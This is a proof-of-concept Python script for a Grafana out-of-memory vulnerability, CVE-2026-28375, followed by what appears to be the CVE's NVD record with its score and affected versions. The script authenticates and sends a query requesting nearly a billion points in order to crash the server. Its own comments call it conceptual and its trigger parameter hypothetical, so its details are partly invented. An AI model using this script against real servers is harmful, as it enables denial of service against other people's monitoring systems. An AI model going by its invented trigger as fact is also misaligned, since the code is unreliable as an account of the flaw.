CVE-2026-28375

# PoC for CVE-2026-28375: Grafana Testdata OOM # This is a conceptual demonstration. import requests def trigger_oom(target, username, password): session = requests.Session() # 1. Authenticate login_url = f"{target}/login" creds = {"user": username, "password": password} session.post(login_url, json=creds) # 2. Send malicious payload to testdata datasource # Exploiting the memory exhaustion in testdata processing exploit_url = f"{target}/api/datasources/proxy/1/query" payload = { "type": "testdata", "scenario": "stress_memory", # Hypothetical trigger "points": 999999999 } try: r = session.post(exploit_url, json=payload) print(f"Status: {r.status_code}") except Exception as e: print(f"Server likely crashed: {e}") # Usage # trigger_oom("http://localhost:3000", "admin", "admin")

{"cve": {"id": "CVE-2026-28375", "sourceIdentifier": "[email protected]", "published": "2026-03-27T15:16:51.547", "lastModified": "2026-03-31T18:15:45.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A testdata data-source can be used to trigger out-of-memory crashes in Grafana."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.1.0", "matchCriteriaId": "3D7C388A-A7A0-4ED2-B0D4-3D9440B59F17"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.6.14", "versionEndExcluding": "12.0.0", "matchCriteriaId": "5845D5E9-8631-4F0B-B100-24DCDE4C8C1F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.1.10", "versionEndExcluding": "12.2.0", "matchCriteriaId": "AE3F977F-FF94-4A15-918C-54241EC49560"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.2.8", "versionEndExcluding": "12.3.0", "matchCriteriaId": "CB499815-0B44-4BF9-AB14-F7272EF0173F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.3.6", "versionEndExcluding": "12.4.0", "matchCriteriaId": "7F2B145A-24E0-4C0F-BF82-FFD2B1301B51"}]}]}], "references": [{"url": "https://grafana.com/security/security-advisories/cve-2026-28375", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}